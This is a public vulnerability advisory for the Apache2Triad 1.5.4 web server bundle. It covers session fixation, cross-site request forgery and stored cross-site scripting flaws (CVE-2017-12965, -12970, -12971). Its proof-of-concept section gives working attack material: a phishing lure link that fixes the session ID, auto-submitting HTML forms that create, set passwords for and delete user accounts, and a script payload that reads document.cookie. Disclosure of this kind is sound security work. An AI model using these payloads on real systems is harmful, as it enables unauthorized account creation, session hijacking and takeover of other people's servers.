Apache2Triad 1.5.4 CSRF / XSS / Session Fixation

Apache2Triad v1.5.4

Apache2Triad spells instant and facile deployment of web software on any windows server along the lines of the WAMP paradigm
in a point and click manner in just minutes and is a ideal solution for the setup of server farms.



Vulnerability Type(s):
======================
Session Fixation
Cross Site Request Forgery
Persistent Cross Site Scripting


CVE Reference:
==============
CVE-2017-12965 (Session Fixation)
CVE-2017-12970 (Cross Site Request Forgery)
CVE-2017-12971 (Persistent Cross Site Scripting)

This application is old and not actively developed according to the website, yet it is still avail for download so
I release the advisory.


Security Issue(S):
================
CVE-2017-12965

Apache2Triad allows remote attackers to set an arbitrary PHPSESSID cookie, if a Apache2Triad user authenticates using the
attacker controlled PHPSESSID the attacker can then access the Apache2Triad Web application with same level of access
as that of the victim to potentially take over the Apache2Triad system.

e.g.

Pre - Authentication
a4ce6912be9d29a9ba4106c989859e7b

Post - Authentication
a4ce6912be9d29a9ba4106c989859e7b

We see the PHPSESSID is never regenerated, to make matters worse Apache2Triad will happily accept an abitrary attacker
supplied session cookie and persist it. Our evil cookie will get written here "C:\apache2triad\temp" as sess_HACKED123.

set our cookie like,

Attacker lure:
<a href="http://VICTIM-IP/phpsftpd/?PHPSESSID=HACKED123">Important message</a>

Victim logs on using our lure.

HTTP 200 OK
Response cookies  
PHPSESSID  
value  "HACKED123"
path  "/"
Request cookies  
PHPSESSID  "HACKED123"


Since we control the PHP Session ID and it persists across applications we can then jump to "phpxmail"
using above session and have an authenticated session avail to do whatever we wish.

e.g.

http://VICTIM-IP/phpxmail/?PHPSESSID=HACKED123

Now access some arbitrary application resource bypassing normal authentication.
http://VICTIM-IP/phpxmail/main.php?action=servercmd

Tested successfully in Firefox, IE


CVE-2017-12970

Remote attackers who can trick an authenticated Apache2Triad user to visit a malicious webpage or link can execute HTTP Requests
on behalf of the authenticated user, attackers can then add or delete arbitrary users to the affected system. 

Tested successfully in Firefox, IE


CVE-2017-12971

Remote attackers can execute arbitrary code that will run in the security context of the victims browser, if
an authenticated user visits an attacker controlled webpage or link.

Since Apache2Triad has Session Fixation flaw, we can leverage this to potentially bypass normal authentication. 
XSS payload will get written to the "slimftpd.conf" configuration file under "C:\apache2triad\ftp" directory.

e.g.

<User "\"/><script>alert(document.cookie)</script>">

</User>


Tested successfully in Firefox


Exploit/POC(s):
==============
CVE-2017-12965 (Session Fixation)

1) Create lure with a attacker controlled PHPSESSID, something like...

<a href="http://VICTIM-IP/phpsftpd/?PHPSESSID=HACKED123">You have new messages, logon to view</a>

2) Authenticate to Apache2Triad using that link

3) Open another Web Browser using above attacker supplied link. You can now access the vulnerable
application using same PHPSESSID session cookie from another browser.


CVE-2017-12970 (CSRF)

Add user

<form action="http://VICTIM-IP/phpsftpd/users.php" method="post">
<input type="hidden" name="account" value="PWNU">
<input type="hidden" name="create" value="Create+New+User">
<script>//document.forms[0].submit()</script>
</form>

HTTP Response:
"The account PWNU was sucesfully created"

Create  password

<form action="http://VICTIM-IP/phpsftpd/users.php" method="post">
<input type="hidden" name="Username_d" value="PWNU">
<input type="hidden" name="Password_d" value="abc123">
<input type="hidden" name="update" value="Update+Settings">
<input type="hidden" name="account" value="PWNU">
<input type="hidden" name="instructions" value="">
<script>//document.forms[1].submit()</script>
</form>

HTTP Response:
"The account PWNU was sucesfully updated"


Delete users

<form action="http://VICTIM-IP/phpsftpd/users.php" method="post">
<input type="hidden" name="delete" value="Yes">
<input type="hidden" name="account" value="PWNU">
<script>//document.forms[2].submit()</script>
</form>

HTTP Response:
"The account PWNU was sucesfully deleted"


CVE-2017-12971 (XSS)

<form action="http://VICTIM-IP/phpsftpd/users.php" method="post">
<input type="hidden" name="account" value='"/><script>alert(document.cookie)</script>'>
<input type="hidden" name="create" value="Create+New+User">
<script>document.forms[0].submit()</script>
</form>


HTTP Response example:
"PHPSESSID=HACKED123"


Network Access:
===============
Remote



Severity:
=========
High



Disclosure Timeline:
=============================
Vendor Notification: "No longer being maintained"
August 21, 2017  : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).